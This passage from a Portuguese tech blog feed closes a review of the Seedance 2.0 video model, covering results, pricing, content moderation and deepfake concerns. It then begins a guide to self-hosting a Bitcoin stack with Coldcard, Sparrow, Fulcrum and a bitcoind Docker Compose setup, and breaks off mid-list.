<div style="max-width: 100%; margin: 1em 0;">
  <video controls playsinline style="width: 100%; border-radius: 8px;">
    <source src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/15/seedance/test3.mp4" type="video/mp4">
  </video>
  <em>Segunda geração: instrução explícita pra seguir movimento e câmera da referência</em>
</div>
<p>Bem melhor. Está claramente seguindo a coreografia da referência, o ângulo de câmera bate em vários momentos, e a aparência do personagem ficou mais polida que tudo que eu poderia renderizar à mão num esboço de Cycles. Mas ainda assim não é cópia exata do meu render. Em alguns frames o modelo ainda toma liberdade com timing, posição e enquadramento. Existem outras técnicas de prompting e parâmetros pra ajustar, mas eu parei aqui pra registrar essas primeiras impressões enquanto o lançamento está fresco.</p>
<h2>ComfyUI, Runway e o resto do ecossistema<span class="hx:absolute hx:-mt-20" id="comfyui-runway-e-o-resto-do-ecossistema"></span>
    <a href="#comfyui-runway-e-o-resto-do-ecossistema" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O Seedance 2.0 também já saiu <a href="https://blog.comfy.org/p/seedance-20-is-now-available-in-comfyui"target="_blank" rel="noopener">como nó do ComfyUI na nuvem</a>, o que ajuda muito quem quer encaixar a geração dentro de pipeline maior sem ficar pulando entre interface web. Pra quem já tem pipeline de geração de imagem montado em ComfyUI, isso é bem prático.</p>
<p>E pra quem quer um caminho com volume sem pensar em crédito por geração, a Runway está oferecendo o Seedance 2.0 dentro do <a href="https://www.mindstudio.ai/blog/seedance-2-0-runway-unlimited-plan"target="_blank" rel="noopener">plano Unlimited</a>, que sai por volta de US$ 76/mês no anual ou US$ 95/mês no mensal. &ldquo;Unlimited&rdquo; no caso significa sem cobrança por geração, mas com prioridade de fila menor em horários de pico e cota de armazenamento de saída. Pra quem precisa iterar muito, esse modelo de assinatura faz bem mais sentido que crédito avulso.</p>
<h2>A questão do preço<span class="hx:absolute hx:-mt-20" id="a-questão-do-preço"></span>
    <a href="#a-quest%c3%a3o-do-pre%c3%a7o" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A precificação direta do Seedance é em crédito. O plano Standard sai por US$ 24,90/mês no anual ou US$ 49,90/mês no mensal, e te dá 2500 créditos por mês. Cada 10 segundos de vídeo gerado consome 6 créditos.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/15/seedance/pricing.png" alt="Tabela de preços do Seedance 2.0, com planos Standard até o tier mais alto e custos em crédito por segundo de geração"  loading="lazy" /></p>
<p>A conta é cruel. Com 2500 créditos no Standard, dá pra rodar cerca de 416 gerações de 10 segundos por mês. Parece muito, mas lembra do meu próprio teste: foram pelo menos duas tentativas pra chegar perto do que eu queria, e mesmo assim não foi cópia exata do que pedi. Na prática, pra cada cena que você quer entregar bem, é razoável assumir 3 a 5 regerações. Isso derruba o número útil pra algo na faixa de 80 a 140 cenas curtas por mês. Pode até dar pra um criador solo fazendo conteúdo curto. Não dá pra produção que precisa de minutos contínuos de vídeo polido.</p>
<p>Os planos superiores escalam linearmente o número de créditos, mas o problema continua: no preço de hoje, o Seedance 2.0 ainda é ferramenta pra clipe curto e meme bem-feito, ou pra prototipagem de cena antes de mandar pra estúdio de verdade. Não substitui produção profissional contínua. Pra esse perfil, na prática a Runway com Unlimited sai mais em conta. <a href="https://seedance2.ai/pricing"target="_blank" rel="noopener">Confira a tabela de preços completa aqui</a>.</p>
<h2>O que ninguém quer falar: restrição e deepfake<span class="hx:absolute hx:-mt-20" id="o-que-ninguém-quer-falar-restrição-e-deepfake"></span>
    <a href="#o-que-ningu%c3%a9m-quer-falar-restri%c3%a7%c3%a3o-e-deepfake" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Tem dois pontos que eu não quero deixar de fora. O primeiro: o Seedance 2.0 demorou a chegar pro grande público em parte porque a ByteDance está sendo bem mais conservadora que a concorrência na hora de moderar. O modelo bloqueia geração com referência de pessoas reais (celebridades, políticos, figuras públicas) e filtra personagens com IP forte de Disney, Marvel/DC, Nintendo e marcas registradas em geral. Quem quiser detalhe sobre o que passa e o que não passa, e por que a empresa optou por essa postura, tem <a href="https://www.mindstudio.ai/blog/seedance-2-0-content-restrictions-workarounds"target="_blank" rel="noopener">esse artigo da MindStudio explicando os limites</a>. Faz sentido: a ByteDance opera em dezenas de jurisdições, está sob escrutínio regulatório global, e ainda tem o tema espinhoso de Hollywood pressionando o setor inteiro com ações de copyright sobre uso de material protegido em treinamento e geração. O lançamento atrasou e veio com filtro pesado justamente por isso.</p>
<p>Segundo ponto, e mais importante: pra você, leitor comum, a mensagem é que <strong>deepfake deixou de ser hipótese</strong>. Foto na internet já não vale como prova há um bom tempo, porque modelos de imagem como Nano Banana, Hunyuan e congêneres entregam realismo que engana qualquer um. Agora vídeo está na mesma categoria. O que a gente acabou de ver acima, onde com algumas referências e dois prompts dá pra gerar uma cena animada coerente em minutos, é só o começo. A pessoa comum, sem treino, não vai mais conseguir distinguir vídeo gerado de vídeo real só batendo o olho. E os filtros do Seedance só barram o uso aberto e legal. Quem quer fazer mau uso vai sempre encontrar caminho com modelo open source, com workaround, com plataforma menos rígida. Esse é o mundo real agora, e quanto antes a gente assumir isso socialmente, melhor.</p>
<h2>Não, isso não substitui artista de verdade<span class="hx:absolute hx:-mt-20" id="não-isso-não-substitui-artista-de-verdade"></span>
    <a href="#n%c3%a3o-isso-n%c3%a3o-substitui-artista-de-verdade" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Já vou cortar o discurso de sempre antes que ele apareça nos comentários. Não, o Seedance não substitui artista de VFX, diretor, editor, nada disso. Isso aqui é martelo. A ferramenta é a mesma pra todo mundo. O que sai do outro lado depende inteiramente de quem está segurando ela.</p>
<p>Quem estudou enquadramento, ritmo, continuidade, direção de arte, edição, cor, composição, vai usar o Seedance pra acelerar 10 vezes o trabalho que já sabia entregar. Quem não estudou nada disso vai produzir 10 vezes mais rápido o mesmo meme de Instagram que já produzia. <strong>A IA reflete quem você é.</strong> Se você é bom artista, a ferramenta multiplica. Se você só acha que é bom, a ferramenta multiplica a mesmice. Não tem milagre.</p>
<p>E é por isso que essa onda de &ldquo;agora todo mundo vira diretor de cinema com IA&rdquo; é a mesma ladainha que ouvimos com câmera digital, com Photoshop, com After Effects, com Premiere e com qualquer ferramenta poderosa que apareceu nos últimos 30 anos. A barreira técnica cai, a barreira de gosto, repertório e estudo continua exatamente onde estava. Quem é bom fica mais produtivo. Quem não é continua precisando de gente de verdade pra fazer trabalho de verdade.</p>
<h2>Onde isso vai parar<span class="hx:absolute hx:-mt-20" id="onde-isso-vai-parar"></span>
    <a href="#onde-isso-vai-parar" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Seedance 2.0 é claramente um passo na direção certa, mas ainda não é a ferramenta que substitui produção profissional. Texto sozinho continua impreciso, vídeo de referência ajuda mas ainda escapa, e o preço por minuto útil de saída polida é alto pro que entrega. A boa notícia é que a história se repete: Google já tem o Veo, Runway está com modelo próprio e ainda revendendo Seedance, Kling e Hailuo da China continuam puxando, e os modelos open source vão ganhando tração. A OpenAI tinha o Sora, mas descontinuou. Conforme a competição aperta, qualidade sobe e preço cai. Em um ou dois anos a gente deve estar olhando pra esse post e achando primitivo o que acabei de mostrar. Como sempre.</p>
]]></content:encoded><category>midia-generativa</category><category>reviews</category><category>seguranca</category></item><item><title>Bitcoin no Home Server: Soberania e Privacidade com Coldcard, Sparrow e Fulcrum</title><link>https://akitaonrails.github.io/2026/04/01/bitcoin-no-home-server-soberania-e-privacidade-com-coldcard-sparrow-e-fulcrum/</link><guid isPermaLink="true">https://akitaonrails.github.io/2026/04/01/bitcoin-no-home-server-soberania-e-privacidade-com-coldcard-sparrow-e-fulcrum/</guid><pubDate>Wed, 01 Apr 2026 19:00:00 -0300</pubDate><description>&lt;p&gt;Este post é complemento direto dos meus artigos recentes sobre o &lt;a href="https://akitaonrails.github.io/2026/03/31/migrando-meu-home-server-com-claude-code/"&gt;novo home server com openSUSE MicroOS&lt;/a&gt; e sobre o &lt;a href="https://akitaonrails.github.io/2026/03/31/review-minisforum-ms-s1-max-amd-ai-max-395/"&gt;Minisforum MS-S1 Max&lt;/a&gt;. Naqueles textos eu falei da base. Aqui eu quero mostrar um uso concreto dela: montar uma stack decente de Bitcoin em casa, com foco em privacidade, soberania operacional e transações seguras do meu lado.&lt;/p&gt;
&lt;p&gt;Antes de mais nada: isto aqui não é texto de evangelismo nem chamada pra day trade. Muito pelo contrário. No momento em que escrevo, em 1 de abril de 2026, o Bitcoin está na faixa de US$ 68 mil e perto de R$ 391 mil, abaixo dos picos de 2025. Muita gente olha pra isso e entra em pânico ou começa a fantasiar trade alavancado. Eu acho as duas reações erradas. Existe uma tese de &amp;ldquo;super cycle&amp;rdquo; baseada em demanda institucional, ETFs spot e efeito defasado do halving. Pode ser. Pode não ser. O que eu sei é que candle de curto prazo não muda a parte que realmente me interessa: infraestrutura. Se você precisa de alavancagem pra &amp;ldquo;acelerar ganhos&amp;rdquo;, você provavelmente está só acelerando sua chance de ser liquidado.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Este post é complemento direto dos meus artigos recentes sobre o <a href="/2026/03/31/migrando-meu-home-server-com-claude-code/">novo home server com openSUSE MicroOS</a> e sobre o <a href="/2026/03/31/review-minisforum-ms-s1-max-amd-ai-max-395/">Minisforum MS-S1 Max</a>. Naqueles textos eu falei da base. Aqui eu quero mostrar um uso concreto dela: montar uma stack decente de Bitcoin em casa, com foco em privacidade, soberania operacional e transações seguras do meu lado.</p>
<p>Antes de mais nada: isto aqui não é texto de evangelismo nem chamada pra day trade. Muito pelo contrário. No momento em que escrevo, em 1 de abril de 2026, o Bitcoin está na faixa de US$ 68 mil e perto de R$ 391 mil, abaixo dos picos de 2025. Muita gente olha pra isso e entra em pânico ou começa a fantasiar trade alavancado. Eu acho as duas reações erradas. Existe uma tese de &ldquo;super cycle&rdquo; baseada em demanda institucional, ETFs spot e efeito defasado do halving. Pode ser. Pode não ser. O que eu sei é que candle de curto prazo não muda a parte que realmente me interessa: infraestrutura. Se você precisa de alavancagem pra &ldquo;acelerar ganhos&rdquo;, você provavelmente está só acelerando sua chance de ser liquidado.</p>
<p>Pra mim, a pergunta útil não é &ldquo;vai subir amanhã?&rdquo;. A pergunta útil é: &ldquo;se eu quiser guardar e movimentar Bitcoin sem terceirizar tudo pra exchange, wallet web e API pública, como eu monto isso direito aqui em casa?&rdquo;</p>
<h2>O problema real: conveniência demais custa privacidade demais<span class="hx:absolute hx:-mt-20" id="o-problema-real-conveniência-demais-custa-privacidade-demais"></span>
    <a href="#o-problema-real-conveni%c3%aancia-demais-custa-privacidade-demais" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O fluxo padrão da maioria das pessoas é simples: compra em exchange, deixa parado lá, ou então instala uma wallet qualquer no celular e pronto. Funciona. Também concentra risco e vaza metadado pra todo lado.</p>
<p>Se você deixa saldo em exchange, você tem risco de custódia. Se você usa wallet desktop apontando pra servidor público, você tem risco de privacidade. Se você usa hardware wallet de forma relaxada, comprada no Mercado Livre de segunda mão, você tem risco de supply chain. Se mistura tudo isso com pressa, pior ainda.</p>
<p>Por isso eu acabei chegando numa combinação que, pra quem é técnico e quer montar a própria infra, me parece bastante sólida:</p>
<ul>
<li>Coldcard pro armazenamento frio</li>
<li>Sparrow Wallet no Linux como carteira desktop e coordenadora das transações</li>
<li>Fulcrum no home server como servidor Electrum privado</li>
<li>bitcoind no mesmo servidor como full node de verdade, validando a cadeia e fazendo broadcast sem depender de terceiros</li>
</ul>
<p>Não é o caminho mais fácil. Mas esse é justamente o ponto. Segurança de verdade raramente vem do caminho mais fácil.</p>
<h2>Os conceitos que confundem quem está começando<span class="hx:absolute hx:-mt-20" id="os-conceitos-que-confundem-quem-está-começando"></span>
    <a href="#os-conceitos-que-confundem-quem-est%c3%a1-come%c3%a7ando" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Antes de entrar no stack, vale alinhar quatro termos que normalmente são jogados no ar como se todo mundo já soubesse:</p>
<table>
  <thead>
      <tr>
          <th>Conceito</th>
          <th>O que é</th>
          <th>Por que importa</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Airgap</td>
          <td>Dispositivo que nunca toca na internet nem por USB de dados</td>
          <td>Reduz a superfície de ataque do signer</td>
      </tr>
      <tr>
          <td>PSBT</td>
          <td>Partially Signed Bitcoin Transaction</td>
          <td>Formato padrão pra preparar, assinar e finalizar transações em etapas</td>
      </tr>
      <tr>
          <td>Watch-only wallet</td>
          <td>Carteira que enxerga saldo/endereço mas não guarda chave privada</td>
          <td>Ótima pra desktop: observa e monta a transação, mas não assina</td>
      </tr>
      <tr>
          <td>Full node</td>
          <td>Nó que valida blocos e regras do protocolo localmente</td>
          <td>Você não precisa &ldquo;acreditar&rdquo; em API de ninguém</td>
      </tr>
      <tr>
          <td>Electrum server</td>
          <td>Camada de índice que responde rápido consultas de carteira</td>
          <td>Sem isso, wallets desktop ficam dependentes de servidores públicos</td>
      </tr>
  </tbody>
</table>
<p>Em português claro, o fluxo fica assim:</p>
<ol>
<li>A Sparrow, no desktop, monta a transação.</li>
<li>Essa transação vira um PSBT.</li>
<li>O PSBT vai pra Coldcard por microSD.</li>
<li>A Coldcard assina offline.</li>
<li>O arquivo assinado volta pra Sparrow.</li>
<li>A Sparrow faz o broadcast via seu próprio servidor, não via infraestrutura pública de terceiros.</li>
</ol>
<p>É isso que as pessoas querem dizer quando falam em &ldquo;airgapped workflow&rdquo;. Não é magia. É só separação de papéis feita de forma disciplinada.</p>
<h2>Coldcard: signer frio, offline, chato do jeito certo<span class="hx:absolute hx:-mt-20" id="coldcard-signer-frio-offline-chato-do-jeito-certo"></span>
    <a href="#coldcard-signer-frio-offline-chato-do-jeito-certo" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Eu uso <a href="https://coldcard.com/"target="_blank" rel="noopener">Coldcard</a> como cold storage. O motivo é simples: ela foi pensada desde o começo como dispositivo Bitcoin-only, com foco forte em operação airgapped por microSD. Isso já elimina uma categoria enorme de &ldquo;comodidades&rdquo; que muita gente acha prática, mas que eu prefiro não ter perto das minhas chaves.</p>
<p><a href="https://coldcard.com/mk4"target="_blank" rel="noopener"><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/bitcoin-sovereignty/coldcard-mk4-official.png" alt="Coldcard Mk4 no site oficial da Coinkite"  loading="lazy" /></a></p>
<p>Na prática, a Coldcard fica com a parte mais importante do sistema: a chave privada. Ela não precisa saber de servidor, de Electrum, de API pública, de exchange, de nada disso. O trabalho dela é um só: assinar transação offline.</p>
<p>Esse desacoplamento é ótimo por dois motivos:</p>
<ul>
<li>O desktop pode ser conveniente sem virar ponto único de desastre.</li>
<li>O signer continua isolado mesmo se sua máquina principal der problema.</li>
</ul>
<p>E aqui entra um aviso que eu realmente quero deixar em caixa alta mental:</p>
<p><strong>Nunca compre hardware wallet de segunda mão. Nunca.</strong></p>
<p>Não é exagero. Você não tem como saber, de verdade, o que aconteceu com aquele dispositivo antes de chegar na sua mão. Pode ter seed pré-gerada, firmware adulterado, componente trocado, embalagem refeita, supply chain comprometida, ou simplesmente algum truque bobo esperando você baixar a guarda. Hardware wallet é uma daquelas categorias em que economizar R$ 300 comprando usado é insanidade. Compre sempre do site oficial do fabricante ou de revendedor oficialmente autorizado pelo fabricante. E mesmo assim confira lacres, procedência e firmware.</p>
<h2>Dá pra fazer parecido com um celular velho?<span class="hx:absolute hx:-mt-20" id="dá-pra-fazer-parecido-com-um-celular-velho"></span>
    <a href="#d%c3%a1-pra-fazer-parecido-com-um-celular-velho" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Dá. Mas eu trataria isso como alternativa de estudo ou de orçamento, não como substituto óbvio de uma Coldcard.</p>
<p>O caminho mais sério hoje pra isso é o <a href="https://airgap.it/"target="_blank" rel="noopener">AirGap Vault</a>, que foi justamente desenhado pra usar um smartphone antigo como signer offline, via QR code, mantendo o aparelho fora da rede. A ideia é boa, e pra muita gente pode ser a porta de entrada correta.</p>
<p>Mas tem trade-off:</p>
<ul>
<li>smartphone velho não foi desenhado como hardware wallet dedicada</li>
<li>histórico anterior do aparelho importa</li>
<li>bateria envelhecida, tela ruim e Android abandonado são problemas reais</li>
<li>o modelo de ameaça é menos claro do que num dispositivo dedicado</li>
</ul>
<p>Então minha visão é simples: dá pra usar? Dá. Eu recomendaria como solução principal pra guardar patrimônio relevante? Não. Pra isso eu ainda prefiro hardware dedicado comprado da fonte correta.</p>
<h2>Sparrow Wallet: a melhor peça de desktop desse quebra-cabeça<span class="hx:absolute hx:-mt-20" id="sparrow-wallet-a-melhor-peça-de-desktop-desse-quebra-cabeça"></span>
    <a href="#sparrow-wallet-a-melhor-pe%c3%a7a-de-desktop-desse-quebra-cabe%c3%a7a" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>No Linux, eu uso <a href="https://sparrowwallet.com/"target="_blank" rel="noopener">Sparrow Wallet</a>. Pra mim, hoje, ela é uma das melhores peças de software nesse ecossistema.</p>
<p><a href="https://www.sparrowwallet.com/features/"target="_blank" rel="noopener"><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/bitcoin-sovereignty/sparrow-transactions.png" alt="Sparrow Wallet em execução, mostrando o histórico detalhado da carteira e das transações"  loading="lazy" /></a></p>
<p>O que eu gosto nela:</p>
<ul>
<li>funciona muito bem em desktop Linux</li>
<li>suporta hardware wallets direito</li>
<li>entende PSBT sem drama</li>
<li>deixa muito claro o que está acontecendo na transação</li>
<li>é ótima como watch-only wallet</li>
</ul>
<p>No meu fluxo, a Sparrow faz três coisas:</p>
<ol>
<li>Guarda a carteira watch-only.</li>
<li>Monta a transação com os outputs e taxas.</li>
<li>Recebe de volta a assinatura da Coldcard e faz o broadcast.</li>
</ol>
<p>Essa separação é elegante. O desktop vira coordenador. O signer continua frio.</p>
<h2>Por que Coldcard + Sparrow funciona tão bem<span class="hx:absolute hx:-mt-20" id="por-que-coldcard--sparrow-funciona-tão-bem"></span>
    <a href="#por-que-coldcard--sparrow-funciona-t%c3%a3o-bem" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Essa combinação é boa porque cada peça faz o que faz melhor:</p>
<ul>
<li>a Coldcard protege a chave</li>
<li>a Sparrow organiza o uso humano da carteira</li>
<li>o servidor cuida da infraestrutura</li>
</ul>
<p>Muita wallet tenta fazer tudo. Eu prefiro esse desenho modular. É menos &ldquo;mágico&rdquo;, mais explícito, e mais fácil de raciocinar sobre ele sem autoengano.</p>
<p>Se eu estou no desktop, eu quero visibilidade. Se eu estou no signer, eu quero isolamento. Se eu estou no servidor, eu quero validação e índice local. Essa divisão é limpa.</p>
<h2>O problema da Sparrow sem infra própria<span class="hx:absolute hx:-mt-20" id="o-problema-da-sparrow-sem-infra-própria"></span>
    <a href="#o-problema-da-sparrow-sem-infra-pr%c3%b3pria" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Agora vem o detalhe importante. A Sparrow sozinha não resolve privacidade.</p>
<p>Se você instalar, abrir e simplesmente usar servidores públicos, alguém do outro lado passa a aprender bastante coisa sobre sua carteira: conjunto de endereços, xpubs ou derivadas, saldo, histórico, comportamento de consulta, broadcast. Não é custódia, mas ainda é exposição.</p>
<p>Esse é o buraco que o Fulcrum preenche.</p>
<h2>Fulcrum: o servidor Electrum privado da casa<span class="hx:absolute hx:-mt-20" id="fulcrum-o-servidor-electrum-privado-da-casa"></span>
    <a href="#fulcrum-o-servidor-electrum-privado-da-casa" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><a href="https://github.com/cculianu/Fulcrum"target="_blank" rel="noopener">Fulcrum</a> é um servidor Electrum. Em vez de deixar a Sparrow perguntando coisas pra servidor público de terceiros, ela pergunta pro meu próprio servidor.</p>
<p>Na prática, isso significa:</p>
<ul>
<li>consulta de saldo local</li>
<li>histórico local</li>
<li>descoberta de endereços local</li>
<li>broadcast local</li>
</ul>
<p>Ou seja: a wallet desktop para de &ldquo;telefonar&rdquo; pro mundo toda vez que você abre o programa.</p>
<p>No meu setup atual, a Sparrow aponta pra um Fulcrum rodando no home server da LAN, com porta <code>50001</code> na rede interna e <code>50002</code> com TLS.</p>
<h2>E por que Fulcrum não basta sozinho<span class="hx:absolute hx:-mt-20" id="e-por-que-fulcrum-não-basta-sozinho"></span>
    <a href="#e-por-que-fulcrum-n%c3%a3o-basta-sozinho" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Porque Fulcrum não substitui um full node. Ele indexa em cima de um full node.</p>
<p>Quem realmente valida bloco, regra de consenso, script, transação e cadeia é o <code>bitcoind</code>. O Fulcrum fica na frente como camada de índice, porque Bitcoin Core puro não foi feito pra servir carteira desktop com esse tipo de consulta rápida.</p>
<p>Então a arquitetura correta é:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">Coldcard (offline signer)
</span></span><span class="line"><span class="cl">        ^
</span></span><span class="line"><span class="cl">        | microSD / PSBT
</span></span><span class="line"><span class="cl">        v
</span></span><span class="line"><span class="cl">Sparrow Wallet (desktop watch-only + coordinator)
</span></span><span class="line"><span class="cl">        |
</span></span><span class="line"><span class="cl">        v
</span></span><span class="line"><span class="cl">Fulcrum (Electrum server privado)
</span></span><span class="line"><span class="cl">        |
</span></span><span class="line"><span class="cl">        v
</span></span><span class="line"><span class="cl">bitcoind (full node)</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h2>O que eu subi no home server de verdade<span class="hx:absolute hx:-mt-20" id="o-que-eu-subi-no-home-server-de-verdade"></span>
    <a href="#o-que-eu-subi-no-home-server-de-verdade" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>No meu home server, a stack mora numa pasta dedicada do Docker Compose e é composta por dois containers:</p>
<ul>
<li><code>bitcoin-bitcoind</code></li>
<li><code>bitcoin-fulcrum</code></li>
</ul>
<p>O compose é simples. E isso é bom. Infra sensível não ganha nada ficando esperta demais no YAML.</p>
<p>O desenho principal é este:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nt">services</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">bitcoin</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">image</span><span class="p">:</span><span class="w"> </span><span class="l">lncm/bitcoind:v28.0</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">container_name</span><span class="p">:</span><span class="w"> </span><span class="l">bitcoin-bitcoind</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">user</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;${BITCOIN_UID}:${BITCOIN_GID}&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">restart</span><span class="p">:</span><span class="w"> </span><span class="l">always</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">security_opt</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">label:disable</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">volumes</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">/srv/bitcoin/data:/data/.bitcoin</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">ports</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="s2">&#34;8333:8333&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">stop_grace_period</span><span class="p">:</span><span class="w"> </span><span class="l">5m</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">healthcheck</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">test</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">&#34;CMD&#34;</span><span class="p">,</span><span class="w"> </span><span class="s2">&#34;bitcoin-cli&#34;</span><span class="p">,</span><span class="w"> </span><span class="s2">&#34;-datadir=/data/.bitcoin&#34;</span><span class="p">,</span><span class="w"> </span><span class="s2">&#34;ping&#34;</span><span class="p">]</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">interval</span><span class="p">:</span><span class="w"> </span><span class="l">30s</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">timeout</span><span class="p">:</span><span class="w"> </span><span class="l">10s</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">retries</span><span class="p">:</span><span class="w"> </span><span class="m">5</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">start_period</span><span class="p">:</span><span class="w"> </span><span class="l">60s</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">fulcrum</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">image</span><span class="p">:</span><span class="w"> </span><span class="l">cculianu/fulcrum:latest</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">container_name</span><span class="p">:</span><span class="w"> </span><span class="l">bitcoin-fulcrum</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">restart</span><span class="p">:</span><span class="w"> </span><span class="l">always</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">security_opt</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">label:disable</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">volumes</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">/srv/bitcoin/fulcrum:/data</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">/srv/bitcoin/data:/bitcoin:ro</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">command</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">&#34;Fulcrum&#34;</span><span class="p">,</span><span class="w"> </span><span class="s2">&#34;/data/fulcrum.conf&#34;</span><span class="p">]</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">ports</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="s2">&#34;50001:50001&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="s2">&#34;50002:50002&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">depends_on</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">bitcoin</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nt">condition</span><span class="p">:</span><span class="w"> </span><span class="l">service_healthy</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>No meu caso, a restrição do <code>50001</code> à LAN acontece na camada de rede do host. O YAML acima é o esqueleto do stack, não a política inteira de firewall.</p>
<p>As partes mais importantes disso:</p>
<ul>
<li><code>restart: always</code> porque isso é serviço de longa duração</li>
<li>volume explícito pra não perder estado</li>
<li><code>user: &quot;${BITCOIN_UID}:${BITCOIN_GID}&quot;</code> porque o diretório persistente precisa casar com o ownership real do storage, então eu prefiro fixar UID/GID de forma explícita em vez de confiar no default da imagem</li>
<li>o RPC não é publicado no host; ele fica só na rede interna do Compose, que é tudo o que o Fulcrum precisa</li>
